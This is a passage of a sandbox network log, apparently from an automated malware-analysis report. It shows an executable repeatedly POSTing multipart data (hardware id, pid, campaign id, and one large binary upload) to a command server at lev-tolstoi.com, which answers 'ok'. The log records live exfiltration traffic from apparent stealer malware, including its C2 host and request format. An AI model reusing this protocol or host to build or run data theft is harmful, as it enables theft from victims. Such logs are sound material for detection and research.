4	192.168.2.6	49990	172.67.157.254	443	4784	C:\Users\user\Desktop\Gz1bBIg2Tw.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 15:54:44 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=C2GNNOJM8G User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15052 Host: lev-tolstoi.com
2025-01-01 15:54:44 UTC	15052	OUT	Data Raw: 2d 2d 43 32 47 4e 4e 4f 4a 4d 38 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 35 41 44 46 33 44 37 35 43 39 37 46 33 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 43 32 47 4e 4e 4f 4a 4d 38 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 43 32 47 4e 4e 4f 4a 4d 38 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 62 6f 34 32 58 6a 2d 2d 0d 0a 2d 2d 43 32 47 4e 4e 4f 4a 4d 38 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --C2GNNOJM8GContent-Disposition: form-data; name="hwid"685ADF3D75C97F36BEBA0C6A975F1733--C2GNNOJM8GContent-Disposition: form-data; name="pid"2--C2GNNOJM8GContent-Disposition: form-data; name="lid"bo42Xj----C2GNNOJM8GContent-Dispo
2025-01-01 15:54:45 UTC	1124	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:54:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i13v7nm14a8kk4q10bbc74v35f; expires=Sun, 27 Apr 2025 09:41:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j70pCS9FoMVH5p4wB66COAUqdMs4EJdNt4VR%2BeMsVgLo4FAB5kZ12KuHJNqD4YdIQqwmGA2KJEzD%2BYrVK3IeKocW1nNQr1WNaQeTTT3mhpDfxaGhhvyAbbxMRYIG58Iiuo4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3b08d7833c329-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1670&min_rtt=1660&rtt_var=644&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2836&recv_bytes=15983&delivery_rate=1672394&cwnd=148&unsent_bytes=0&cid=4db13cf9ca21605b&ts=549&x=0"
2025-01-01 15:54:45 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-01 15:54:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49991	172.67.157.254	443	4784	C:\Users\user\Desktop\Gz1bBIg2Tw.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 15:54:45 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JY4C60UI59S User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19916 Host: lev-tolstoi.com
2025-01-01 15:54:45 UTC	15331	OUT	Data Raw: 2d 2d 4a 59 34 43 36 30 55 49 35 39 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 35 41 44 46 33 44 37 35 43 39 37 46 33 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4a 59 34 43 36 30 55 49 35 39 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4a 59 34 43 36 30 55 49 35 39 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 62 6f 34 32 58 6a 2d 2d 0d 0a 2d 2d 4a 59 34 43 36 30 55 49 35 39 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --JY4C60UI59SContent-Disposition: form-data; name="hwid"685ADF3D75C97F36BEBA0C6A975F1733--JY4C60UI59SContent-Disposition: form-data; name="pid"3--JY4C60UI59SContent-Disposition: form-data; name="lid"bo42Xj----JY4C60UI59SContent-D
2025-01-01 15:54:45 UTC	4585	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bf Data Ascii: 2+?2+?o?Mp5p_oI
2025-01-01 15:54:46 UTC	1137	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:54:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ksc6gth3kfed4mngiedliihmj2; expires=Sun, 27 Apr 2025 09:41:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SfHLgLnLXZTdpTAz7gNC4id1uCs9Q8iSn7De1KtmADOKdZuI7yUbXzNj2rjh3IRX%2F4jLuOMIVh8n%2B%2BSsha1STL4lRIGOhTE7EfN%2BTCyvf%2B%2FQBFkc7A1bE%2B%2Fh5uDZORgB7rk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3b0956ab2433e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2213&min_rtt=2211&rtt_var=834&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2835&recv_bytes=20870&delivery_rate=1307657&cwnd=249&unsent_bytes=0&cid=ff3bfe21b39c3aac&ts=629&x=0"
2025-01-01 15:54:46 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-01 15:54:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49992	172.67.157.254	443	4784	C:\Users\user\Desktop\Gz1bBIg2Tw.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 15:54:47 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2RSJYPIWAIM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1175 Host: lev-tolstoi.com
2025-01-01 15:54:47 UTC	1175	OUT	Data Raw: 2d 2d 32 52 53 4a 59 50 49 57 41 49 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 35 41 44 46 33 44 37 35 43 39 37 46 33 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 32 52 53 4a 59 50 49 57 41 49 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 52 53 4a 59 50 49 57 41 49 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 62 6f 34 32 58 6a 2d 2d 0d 0a 2d 2d 32 52 53 4a 59 50 49 57 41 49 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --2RSJYPIWAIMContent-Disposition: form-data; name="hwid"685ADF3D75C97F36BEBA0C6A975F1733--2RSJYPIWAIMContent-Disposition: form-data; name="pid"1--2RSJYPIWAIMContent-Disposition: form-data; name="lid"bo42Xj----2RSJYPIWAIMContent-D
2025-01-01 15:54:48 UTC	1118	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:54:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=35t9tuts8faepd8ia05ng1l0nb; expires=Sun, 27 Apr 2025 09:41:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qbLSRidKMvNAN3LWucheSOnqvj5kWZ8vldrSFvtLRbg37ZGrYPVTMH8dVvL9uQFzX1dMBnPuHietNAomHCTit7cWWNxiBZtf8xHNNIMvk0zru0KMU41zWe4xhQJ5OJIGVTw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3b0a198033354-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1910&min_rtt=1905&rtt_var=725&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=2084&delivery_rate=1497435&cwnd=114&unsent_bytes=0&cid=73934ffd6e8c8821&ts=455&x=0"
2025-01-01 15:54:48 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-01 15:54:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49993	172.67.157.254	443	4784	C:\Users\user\Desktop\Gz1bBIg2Tw.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 15:54:49 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=65CKKNZT62KN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571028 Host: lev-tolstoi.com
2025-01-01 15:54:49 UTC	15331	OUT	Data Raw: 2d 2d 36 35 43 4b 4b 4e 5a 54 36 32 4b 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 35 41 44 46 33 44 37 35 43 39 37 46 33 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 36 35 43 4b 4b 4e 5a 54 36 32 4b 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 36 35 43 4b 4b 4e 5a 54 36 32 4b 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 62 6f 34 32 58 6a 2d 2d 0d 0a 2d 2d 36 35 43 4b 4b 4e 5a 54 36 32 4b 4e 0d 0a 43 6f 6e 74 65 Data Ascii: --65CKKNZT62KNContent-Disposition: form-data; name="hwid"685ADF3D75C97F36BEBA0C6A975F1733--65CKKNZT62KNContent-Disposition: form-data; name="pid"1--65CKKNZT62KNContent-Disposition: form-data; name="lid"bo42Xj----65CKKNZT62KNConte
2025-01-01 15:54:49 UTC	15331	OUT	Data Raw: 04 c0 bf b1 1f 5e 00 b0 2a b6 65 83 1f 0c 56 40 64 6e 95 c4 c2 0e 92 c1 a0 fc d6 dc a5 a1 48 40 79 eb 5e fb b7 01 75 d1 bd e6 4f f3 df 92 25 ce c9 0d 37 93 33 6c 72 31 c0 38 75 e7 ca 25 dd 98 7d 59 36 e5 5c 52 6d 61 a4 7d 7b a5 aa 64 1f e6 97 d4 b0 d2 af 7a 74 fe 1e 71 8f eb 2c 28 7a 84 96 61 fa ab e3 06 eb fb 1d a9 b0 c0 78 0d 72 25 a4 9e cf a9 7a da 59 dd ce ae dc 77 df 63 07 29 da cc c4 a5 26 ed c5 e8 1a 99 2d d9 59 9d d5 c8 83 06 f2 09 76 52 24 22 35 13 0d 8b ae ab ce e6 ae 01 9f 43 e4 83 e8 00 1c 98 f9 89 5c 66 6a da 05 a9 c6 6e dd d7 29 44 90 9a a2 23 5e 2a a7 ed 36 87 74 1e 3f ac c8 b7 f4 4f 92 2a 32 1e b1 5b c2 97 72 89 2a 44 ea 1d ad 71 d3 53 1a 8d f9 86 89 33 d0 47 53 70 5c bf 99 cc 72 62 82 11 55 af a1 ee b2 f1 f1 36 98 f0 8a b0 34 5e fd 77 13 Data Ascii: ^eV@dnH@y^uO%73lr18u%}Y6\Rma}{dztq,(zaxr%zYwc)&-YvR$"5C\fjn)D#^6t?O2[rDqS3GSp\rbU64^w
2025-01-01 15:54:49 UTC	15331	OUT	Data Raw: 72 85 fc ea af 69 41 8b 15 f9 de 8d 12 02 22 1a fe 2a a5 4a 90 b7 df 3b b0 9c e0 37 de 2c 0b 40 d1 94 97 80 ee 52 6f 8d af d1 53 66 c7 c7 da 9e dd 7b df e2 17 bf 6c 2c 95 9f 6a 1d 7e e0 75 dd ed 81 d5 95 4c 47 75 c7 05 4c 00 55 d3 bd 88 b9 d1 60 31 94 27 f6 ac 4a 7d 4e 73 87 b9 64 81 a4 0e f8 fe 7e 6a 00 27 8d 55 4a 80 65 c6 a9 4e 9a 5b 9f 05 0a 50 06 21 b8 11 07 ae 70 c6 56 28 e8 f3 e9 6f e2 c4 31 63 60 59 80 7d f3 ff 4e 94 c2 64 a3 de 5c c6 64 22 48 51 f0 a8 35 87 29 c0 ba 08 2e 07 60 c6 29 03 c6 ec 07 c3 f6 d3 cf 8f b8 8f 64 31 c3 79 54 a2 dc 71 a0 ea 8a 58 86 d2 66 cb 53 ef 94 d2 0f 2d 1e 69 d8 42 04 c9 76 dc f2 52 d6 67 11 4f e6 8d 29 02 c8 78 16 59 08 a5 38 7b 73 6a b7 16 13 8f 14 cc 91 35 b6 e1 9c f2 ad 3a e3 c3 ed a4 36 8c d4 cc 88 ea 57 8a 00 82 Data Ascii: riA"*J;7,@RoSf{l,j~uLGuLU`1'J}Nsd~j'UJeN[P!pV(o1c`Y}Nd\d"HQ5).`)d1yTqXfS-iBvRgO)xY8{sj5:6W
2025-01-01 15:54:49 UTC	15331	OUT	Data Raw: bd 47 e6 21 54 d7 66 98 bd fd fd d8 23 83 1b 97 11 5c 1a 0f db 49 eb 20 7b 43 9f 83 fc 77 bd f5 72 aa ab 6f bf 73 8f 3a 28 3c b5 b6 c5 09 fe 7e 9e d4 cf 3e 75 ff e8 61 f2 fe 22 33 ca c1 36 34 bd 2b 6f 67 31 05 f5 4f d6 bf 0c fb cc 15 bb 25 7a 9e 0e 72 61 6b 74 fe f8 78 68 c1 a2 3e 7b 9c fe 62 09 2a 5e fe cf 74 c4 d5 6e 44 e8 76 18 27 38 c6 63 47 f2 01 14 ab 85 c0 63 2d 2d 83 1f 63 dd 7d 05 ef 36 a4 14 98 d4 5b 30 02 b3 19 c1 c3 7a 74 af 9e e8 e0 e0 21 3f 88 47 81 55 7f 8d b1 69 4f ae c4 0b a1 d7 d3 42 d8 82 24 c6 a1 ad 40 54 f7 dd c0 d0 c3 07 75 1e 2f bc b0 a4 e6 84 e1 86 29 a4 a7 8c 39 17 ab 08 a2 24 b2 2d fc 50 db a6 e9 6e 3f 9f 3e ee 33 b5 da 0f a7 35 26 25 b9 8e 99 c8 7f d9 d4 6d 89 7d 97 6a ed f4 cf a3 97 2b 6d eb df 9e 7d 11 74 6d d7 75 62 71 92 6e Data Ascii: G!Tf#\I {Cwros:(<~>ua"364+og1O%zraktxh>{b*^tnDv'8cGc--c}6[0zt!?GUiOB$@Tu/)9$-Pn?>35&%m}j+m}tmubqn
2025-01-01 15:54:49 UTC	15331	OUT	Data Raw: a9 04 1d dd 86 13 3b dd d4 67 64 90 2d 73 08 91 ab 69 6d 89 9b 00 a8 8d 4f 22 58 cc 74 1c 5b e9 8e f6 35 c6 ce 5b 35 7e e8 85 fe 48 43 79 d1 66 1a 21 59 93 79 1f 60 69 e0 96 4f 4e 22 24 84 70 00 16 76 79 67 0c bc 11 dd 01 6d 53 9d 2c 11 d9 69 51 62 62 c8 38 e5 64 bf 51 ff 0c d3 57 0a f5 9a 50 f6 6b e7 c0 86 dc 1b 68 60 ea 87 b8 d0 f7 7c 39 19 9f 02 52 52 78 3b f8 cf 29 66 23 8e 06 4c df 7c 9b 6f 9c ee b7 a5 52 58 ca 4a 80 03 a5 c7 f7 c8 93 f3 70 df 4c 4e 26 22 3d bf c4 6a 41 7e b5 72 fd 70 30 eb 2f 30 ac fd ba 07 23 13 c9 da 6d 28 58 48 09 a1 75 bf ad a6 3b a0 f7 e0 7c 7b 7b b1 6a c3 72 fd b1 4a 2b 26 03 81 f7 d7 a0 be 54 34 e0 b1 71 93 69 90 68 30 73 25 bc c3 06 c0 e3 95 e0 42 6e 64 ca 87 86 14 79 e0 e5 fc df 07 fc 9f 97 60 96 92 10 23 d8 73 b6 60 c0 1a Data Ascii: ;gd-simO"Xt[5[5~HCyf!Yy`iON"$pvygmS,iQbb8dQWPkh`\|9RRx;)f#L\|oRXJpLN&"=jA~rp0/0#m(XHu;\|{{jrJ+&T4qih0s%Bndy`#s`
2025-01-01 15:54:49 UTC	15331	OUT	Data Raw: 20 95 48 89 00 40 51 97 51 74 6c 33 03 03 59 be f0 3f ca 99 f3 3f 6a 20 3f f7 e5 de e3 ce 24 af 4f e5 fb 6c fa 34 ab 3d 6c b9 93 55 df 3b 29 21 ff 45 1b f7 1c 0b f4 5c b8 77 be 03 45 92 e0 33 95 54 5c de a7 9c 73 6a 54 c8 e3 bf b7 ee 7b 2f dd 1a 5b 66 a6 b9 2e 3b b7 bb 2e 67 78 b3 28 49 bf bf 72 87 be 1b a7 ba d3 ea 25 e5 a3 76 f8 2f 76 1f 95 47 86 24 66 3f 32 3e 0b c3 a4 4e e0 63 6d bb 0b 0b 3e af 7f 87 5b 0d 2c 4e 3a 8a b2 ae 34 af e1 89 3b e4 29 fc 3b 30 44 00 18 62 a2 a2 01 f8 1c 0b 3d f1 ae 1e 97 88 8a 7c 17 a2 86 6c b8 44 72 59 cf ff ba 9b f6 e0 9f 50 3c ef 79 f1 6a ad f2 4f 1d 38 ea 96 0f 21 4a 4a 39 f7 e5 29 97 ae ac 75 de 10 a8 54 12 22 19 ce 59 2b 50 be 03 ed 91 e6 17 2f b1 95 fb fc ac c7 04 be b8 19 8b 21 21 a1 f9 af ed ee 5c 41 7d e4 7b 54 71 Data Ascii: H@QQtl3Y??j ?$Ol4=lU;)!E\wE3T\sjT{/[f.;.gx(Ir%v/vG$f?2>Ncm>[,N:4;);0Db=\|lDrYP<yjO8!JJ9)uT"Y+P/!!\A}{Tq
2025-01-01 15:54:49 UTC	15331	OUT	Data Raw: 02 5d 81 0c 97 69 89 f1 83 d3 a5 af 09 fe db 33 b2 99 4a b5 8d a5 7c 63 d2 53 fb e8 8d 8a 8b c1 77 c9 b0 6b 69 65 4b 56 1c 9a 68 9f b8 1c 1b 2e 2b dc 5b 5a 9b a5 c7 03 a9 72 49 33 d8 2f 1b ce 7c 9a 54 9d f1 3a 8e 02 82 a4 c7 05 1b e0 9f 0a 8e 97 db 5a 61 3b 5b 63 5b 57 c9 f9 c7 ab c6 38 e1 cf 7e 5c c6 03 e7 d3 7a ac cf 9c 24 4e 73 de ca 7a dc 11 80 7f 37 1c 5a 60 f3 1a f8 2c 97 14 4e c2 ee 25 85 c6 0e b4 6f 82 3d b9 b0 f3 02 c0 0d 4e 73 19 61 b3 33 d3 e5 0b 86 d9 c6 de 0b 69 66 80 71 40 01 49 a5 51 9d 79 40 c4 8e e1 ee 4e 96 5c 25 d0 3d 5d 80 81 2e 78 9b 92 5d 1f 2a 8d 37 c7 7d b0 55 3f 71 ef fc b1 68 aa b4 2a cd 60 f6 62 5a da c5 6b 67 1f fe 56 3c 35 b9 d8 35 15 7c 98 fe 92 b2 e7 9d a6 9e 4c 8f 54 53 87 77 e7 e0 19 d9 c4 8b 49 9b 1e cb 9f 1e 05 37 3b 3c Data Ascii: ]i3J\|cSwkieKVh.+[ZrI3/\|T:Za;[c[W8~\z$Nsz7Z`,N%o=Nsa3ifq@IQy@N\%=].x]7}U?qh`bZkgV<55\|LTSwI7;<
2025-01-01 15:54:49 UTC	15331	OUT	Data Raw: 95 23 8d 0d e9 dc bd 61 71 aa e4 de a1 3f cb da f6 13 6b 34 93 73 e9 3f 1f a8 06 39 8a ad b1 1e 70 b0 4d 1a 59 95 de da 7b ae ab c5 0b ab cc 49 7b 1e bc 1a 8c ba e3 91 2d ea bd 9b 01 67 a4 2f 5a 31 3b fd 46 52 bc 40 cc e8 b1 0c e9 f5 ec 29 7f 51 2a 4d 93 cc e1 52 c3 dc a2 0b 07 8e cd 34 a4 3f 0d fd b8 c5 16 4d 6f b1 16 86 a4 14 78 d6 d3 05 98 0f 14 01 02 8f 98 69 18 c2 85 64 e7 c6 a9 8e 37 27 c9 fd 67 11 df 0f 48 cc af 73 07 04 2f 52 b0 3c 14 9c aa 50 2f 29 54 a0 4a 9f b6 0e 50 bb bf 21 aa b1 de fe 19 8e e0 29 c0 df 11 95 b5 ad d5 3a 1d 39 cf 85 14 fb 64 a5 29 b7 fa d6 88 78 1c c2 5e 6f b6 a0 80 a2 13 46 c4 30 b2 57 2e a0 f2 20 16 6e 86 d0 ca d0 e0 d9 3b 71 70 84 d6 5a 47 f9 eb 12 a3 93 c2 43 06 05 81 5b ca aa 5b df 37 03 6a 3e 2f 38 dc 44 56 46 a7 5c 00 Data Ascii: #aq?k4s?9pMY{I{-g/Z1;FR@)Q*MR4?Moxid7'gHs/R<P/)TJP!):9d)x^oF0W. n;qpZGC[[7j>/8DVF\
2025-01-01 15:54:49 UTC	15331	OUT	Data Raw: 7f f3 d5 7e 55 a0 86 c7 43 81 88 07 29 d3 d1 8a b7 98 b1 41 cc 87 af c7 fa ca 59 6e 87 cd fa e5 1c c8 20 44 b3 77 c2 1e 9f 02 e7 10 e4 1b 78 e7 e4 0b b7 3d 8c 38 77 91 f0 12 69 16 a9 45 3e 4e ef 3c 52 0e f1 0e 15 7b 33 95 10 4a 27 59 0f 7e f2 d9 5d 25 e3 0f ef 65 cc 9b 77 6e d4 2a a3 3e 3e a5 fd 8f 7b a5 08 f6 27 56 d6 8b a4 29 b8 7e 15 95 e1 98 38 c5 61 02 5a 24 48 6e ac 2f 92 58 27 f7 51 1d 18 fa c6 59 b5 2c 0a 82 ac 3d 6d ee 02 fd 40 a2 b7 3e 77 5f a3 47 5f 21 f8 c2 ae 33 e5 68 84 a4 3e b1 e1 40 db 99 6b 52 21 ee 02 66 1d 7b a6 d9 04 10 06 ed 88 b0 35 c1 52 d6 07 04 24 80 3c d0 0f 6f 54 a4 59 d2 e5 f0 72 f8 8c 30 43 5f ae 71 5d 50 1f 6c 97 4c 0e 38 af 91 c1 e6 2f 69 05 e7 b9 d5 e4 33 44 32 e4 36 8b 30 88 40 97 dd f4 87 17 f4 0d 75 52 57 c5 a4 43 ee 75 Data Ascii: ~UC)AYn Dwx=8wiE>N<R{3J'Y~]%ewn*>>{'V)~8aZ$Hn/X'QY,=m@>w_G_!3h>@kR!f{5R$<oTYr0C_q]PlL8/i3D260@uRWCu
2025-01-01 15:54:49 UTC	15331	OUT	Data Raw: 96 73 a5 27 b0 e3 ae 23 5d 2d f8 f3 fc 78 96 22 86 68 a9 4b 6a e1 9f 92 0d de 34 4b 46 31 87 42 01 ff 9c f0 bf 07 cd 89 04 24 fc 31 75 14 47 7d ff dd e8 3e 1d 49 17 d6 55 c2 14 5a d8 0f 7a 10 44 95 a6 16 95 25 84 98 1a 26 e8 1a f9 5c d0 76 73 96 12 61 fa 7e 5d 55 4d 6e 81 8c 1b ca 28 5f da 11 61 18 1d 06 47 0a ac 06 3e dd 95 e4 3e b9 a5 be a8 53 4b fa dd 54 fa e7 e6 1c 40 ec 2a 62 3b df 9f 3d 9b 43 7a e6 fd 0b 09 db 5e 7f 3c 73 4e ac 25 60 d7 7e 26 02 92 e3 40 52 97 de 76 7c 54 b0 dd 93 ba c9 3e d7 ec b8 db 58 ed 83 79 a0 ad 21 11 5a cf 93 00 2f db 6d c3 b3 6a 29 b7 a5 ec 6b aa e7 15 c2 19 b2 84 6d c8 fb a2 61 4f dc f3 0c cc ff 72 af fa d5 57 cc 7b 65 38 8c 1b 73 9b ab 66 cf 29 e4 86 2c 97 30 e6 5f fa 24 ae eb 8e 9d aa 6e 2d 6b 24 b3 fa ee 32 44 49 8a 7d Data Ascii: s'#]-x"hKj4KF1B$1uG}>IUZzD%&\vsa~]UMn(_aG>>SKT@*b;=Cz^<sN%`~&@Rv\|T>Xy!Z/mj)kmaOrW{e8sf),0_$n-k$2DI}
2025-01-01 15:54:50 UTC	1133	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:54:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8jm2vajkordc6s052hv9pj8tfc; expires=Sun, 27 Apr 2025 09:41:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9V3ua%2F5Yn30S6h2291k4VnzYEQ0f9IEBke%2BchBzJul9IsSkA2FPBE7rXPp5Gm1LRbDcOW1%2FlFG7PBfzz4lTicDFW9QL%2FKRGhBFhiwixSflkBbiEM9iHq2bzB0o3DTeKKs0k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3b0a9fafa80e0-EWR alt-svc: h3=":443"; ma=86400 server-timing: 